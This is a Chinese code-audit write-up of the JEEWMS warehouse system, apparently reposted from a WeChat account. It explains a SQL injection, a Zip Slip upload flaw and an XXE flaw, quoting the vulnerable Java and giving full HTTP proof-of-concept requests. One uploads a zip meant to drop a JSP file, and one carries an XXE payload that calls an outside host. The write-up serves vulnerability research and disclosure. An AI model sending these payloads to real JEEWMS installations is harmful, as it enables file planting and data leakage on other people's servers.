前言
对JEEWMS开源项目的代码审计分析过程,花了一点时间审计出来sql注入漏洞,Zip Slip 漏洞,XXE漏洞。xss漏洞也有但是没必要记录了,在系统后台基本上都有xss
文章目录
环境搭建
代码审计
sql注入漏洞
Zip Slip 漏洞
XXE漏洞
环境搭建
源码下载地址
https://gitee.com/erzhongxmu/JEEWMS
创建数据库
从下载的源码中database
文件夹中wms20241105数据库备份.nb3
这个就是sql文件,按下图还原sql
选中数据库->备份->还原备份从
配置文件
dbconfig.properties
填入数据账户密码
当前java版本
Maven 输入命令运行程序
mvn tomcat7:run
代码审计
sql注入
漏洞路径 JEEWMSsrcmainjavaorgjeecgframeworkwebcgformcontrollerbuildCgFormBuildController.java
@RequestMapping(params = "mobileForm")publicvoidmobileForm(HttpServletRequest request,HttpServletResponse response) { StringtableName=request.getParameter("tableName"); Stringsql="select form_template_mobile from cgform_head where table_name = '"+tableName+"'"; Map<String, Object> mp = cgFormFieldService.findOneForJdbc(sql); if(mp.containsKey("form_template_mobile") && oConvertUtils.isNotEmpty(mp.get("form_template_mobile"))){ String urlTemplateName=request.getParameter("olstylecode"); if(oConvertUtils.isEmpty(urlTemplateName)){ request.setAttribute("olstylecode", mp.get("form_template_mobile").toString().trim()); } } ftlForm(tableName,"",request,response); }
由于在 sql
查询中直接拼接了 tableName
参数,这就使得代码容易受到 SQL 注入攻击。攻击者可以利用这一点构造恶意的 tableName
Zip Slip 漏洞
Zip Slip 漏洞 是一种与文件解压缩(尤其是 ZIP 文件)相关的漏洞,攻击者可以通过构造特殊的 ZIP 文件,利用该漏洞将文件解压到系统上的任意目录,从而导致文件覆盖或任意文件写入。该漏洞常见于不安全的文件解压实现中。
JEEWMSsrcmainjavaorgjeecgframeworkwebcgformservicemigrateMigrateForm.java
在unzip函数中实现了使用ZipFile
类解压zip文件的过程,在解压过程中并没有对zip文件内容进行过滤导致了Zip Slip 漏洞
publicstaticvoidunzip(String zipFilePath, String targetPath)throws IOException {OutputStreamos=null;InputStreamis=null;ZipFilezipFile=null;try { zipFile = newZipFile(zipFilePath);StringdirectoryPath="";if (null == targetPath || "".equals(targetPath)) { directoryPath = zipFilePath.substring(0, zipFilePath.lastIndexOf(".")); } else { directoryPath = targetPath; }EnumerationentryEnum= zipFile.getEntries();if (null != entryEnum) {ZipEntryzipEntry=null;while (entryEnum.hasMoreElements()) { zipEntry = (ZipEntry) entryEnum.nextElement();if (zipEntry.isDirectory()) { directoryPath = directoryPath + File.separator + zipEntry.getName(); org.jeecgframework.core.util.LogUtil.info(directoryPath);continue; }if (zipEntry.getSize() > 0) {// 文件FiletargetFile= buildFile(directoryPath + File.separator + zipEntry.getName(), false); os = newBufferedOutputStream(newFileOutputStream(targetFile)); is = zipFile.getInputStream(zipEntry);byte[] buffer = newbyte[4096];intreadLen=0;while ((readLen = is.read(buffer, 0, 4096)) >= 0) { os.write(buffer, 0, readLen); } os.flush(); os.close(); } else {// 空目录 buildFile(directoryPath + File.separator + zipEntry.getName(), true); } } } } catch (IOException ex) {throw ex; } finally {if (null != zipFile) { zipFile = null; }if (null != is) { is.close(); }if (null != os) { os.close(); } } }
在 JEEWMSsrcmainjavaorgjeecgframeworkwebcgformcontrollerbuildCgformSqlController.java
中调用了unzip
方法
获取文件目录
StringrealPath= uploadFile.getMultipartRequest().getSession() .getServletContext().getRealPath("\") + path;// 文件的硬盘真实路径
MigrateForm.unzip(savePath, "");
如果这里的savePath
目录没有指定到了可解析目录,也是不存在漏洞,上传不解析等于白给
/** * 导入Form(采用SQL方式) * * @param request * @return * @throws Exception */@RequestMapping(params = "doMigrateIn", method = RequestMethod.POST)@ResponseBodypublic AjaxJson doMigrateIn(HttpServletRequest request, HttpServletResponse response) {Stringmessage=null;AjaxJsonj=newAjaxJson();Stringls_file="";UploadFileuploadFile=newUploadFile(request, ls_file); uploadFile.setCusPath(""); uploadFile.setSwfpath("");Stringuploadbasepath= uploadFile.getBasePath();// 文件上传根目录if (uploadbasepath == null) { uploadbasepath = ResourceUtil.getConfigByName("uploadpath"); }Stringpath= uploadbasepath + "\";// 文件保存在硬盘的相对路径StringrealPath= uploadFile.getMultipartRequest().getSession() .getServletContext().getRealPath("\") + path;// 文件的硬盘真实路径 message = null;try {Filefile=newFile(realPath);if (!file.exists()) { file.mkdir();// 若目录不存在,创建根目录 } uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8");MultipartHttpServletRequestmultipartRequest= uploadFile .getMultipartRequest(); Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();StringfileName="";for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {MultipartFilemf= entity.getValue();// 获取上传文件对象 fileName = mf.getOriginalFilename();// 获取文件名StringsavePath= realPath + fileName;Filesavefile=newFile(savePath);Stringls_tmp= savefile.getName();/*String sqlfilename = realPath + ls_tmp.substring(0, ls_tmp.lastIndexOf(".")) + "\" + ls_tmp.substring(0, ls_tmp.lastIndexOf(".")) + ".sql";*/ FileCopyUtils.copy(mf.getBytes(), savefile); MigrateForm.unzip(savePath, "");StringsqlFileDir= realPath + ls_tmp.substring(0, ls_tmp.lastIndexOf("."));FilesqlDirFile=newFile(sqlFileDir);Stringsqlfilename= sqlDirFile.getPath() + "/";if(sqlDirFile.isDirectory()){ sqlfilename += sqlDirFile.list()[0]; }/*OfficeHtmlUtil officeHtml = new OfficeHtmlUtil(); String sqlStr = officeHtml.getInfo(sqlfilename); String[] sqlStrs = sqlStr.split(";"); for (String exesql : sqlStrs) { if (!StringUtil.isEmpty(exesql) && !"n".equals(exesql)) { jdbcTemplate.execute(exesql); } }*/XStreamxStream=newXStream(); xStream.processAnnotations(DBTable.class);@SuppressWarnings("unchecked") List<DBTable> dbTables = (List<DBTable>) xStream.fromXML(newFile(sqlfilename));if(!dbTables.isEmpty() && dbTables.size()>0){for (DBTable dbTable : dbTables) { mergeMigrateInComponent(dbTable); } } } } catch (Exception e1) { e1.printStackTrace(); LogUtil.error(e1.toString()); message = e1.toString(); }if (StringUtil.isNotEmpty(message)) { j.setMsg("SQL文件导入失败," + message); } else { j.setMsg("SQL文件导入成功"); }return j; }
创建一个zip压缩包,里面放入jsp文件
然后上传zip
POST /jeewms/cgformSqlController.do?doMigrateIn HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=353EFA8BAB4FAEADF0B3C95A2F497254; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Length: 131------WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Disposition: form-data; name="fiels";filename="11.zip"{{file(C:UsersAnonymousDesktop1.zip)}}------WebKitFormBoundaryiaBvY7jyMFN6UjaI--
XXE漏洞
XXE(XML External Entity)漏洞 是指攻击者通过构造恶意的 XML 文件,在 XML 解析过程中触发外部实体的加载,从而可能泄露敏感信息、进行服务器端请求伪造(SSRF)攻击,甚至远程执行代码。
JEEWMSsrcmainjavaorgjeecgframeworkwebsystemcontrollercoreCommonController.java
-
• 文件上传:用户可以上传一个 XML 文件,代码检查了文件扩展名和大小,确保文件符合要求。 -
• XML 解析:上传的 XML 文件会被传递给 systemService.parserXml(savePath)
,这里会对 XML 文件进行解析。
@RequestMapping(params = "parserXml")@ResponseBodypublic AjaxJson parserXml(HttpServletRequest request, HttpServletResponse response) { AjaxJsonjson=newAjaxJson(); StringallowedExtension=".xml"; // 允许的文件扩展名 longmaxSize=1024 * 1024 * 100; // 最大文件大小100MB StringfileName=null; StringctxPath= request.getSession().getServletContext().getRealPath("/") + "uploads/"; // 更改存储位置 // 确保上传目录存在 Filefile=newFile(ctxPath); if (!file.exists()) { file.mkdirs(); } MultipartHttpServletRequestmultipartRequest= (MultipartHttpServletRequest) request; // 直接从request获取 Iterator<String> fileNames = multipartRequest.getFileNames(); while (fileNames.hasNext()) { StringformFieldName= fileNames.next(); MultipartFilemf= multipartRequest.getFile(formFieldName); // 检查文件类型和大小 if (mf.isEmpty() || !mf.getOriginalFilename().toLowerCase().endsWith(allowedExtension) || mf.getSize() > maxSize) { json.setMsg("文件类型错误或文件大小超过100M或文件为空"); json.setSuccess(false); return json; } // 重命名文件 fileName = UUID.randomUUID().toString() + "_" + mf.getOriginalFilename(); StringsavePath= ctxPath + fileName; try { // 保存文件 mf.transferTo(newFile(savePath)); systemService.parserXml(savePath); // 使用完整路径 json.setSuccess(true); } catch (IOException e) { e.printStackTrace(); json.setMsg("Failed to save file."); json.setSuccess(false); } } return json; }
POST /jeewms/commonController.do?parserXml HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=353EFA8BAB4FAEADF0B3C95A2F497254; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Length: 131------WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Disposition: form-data; name="file";filename="11.xml"<?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://ipygfzlbex.dgrh3.cn">]><x>&f;</x>------WebKitFormBoundaryiaBvY7jyMFN6UjaI--
原文始发于微信公众号(实战安全研究):JEEWMS代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论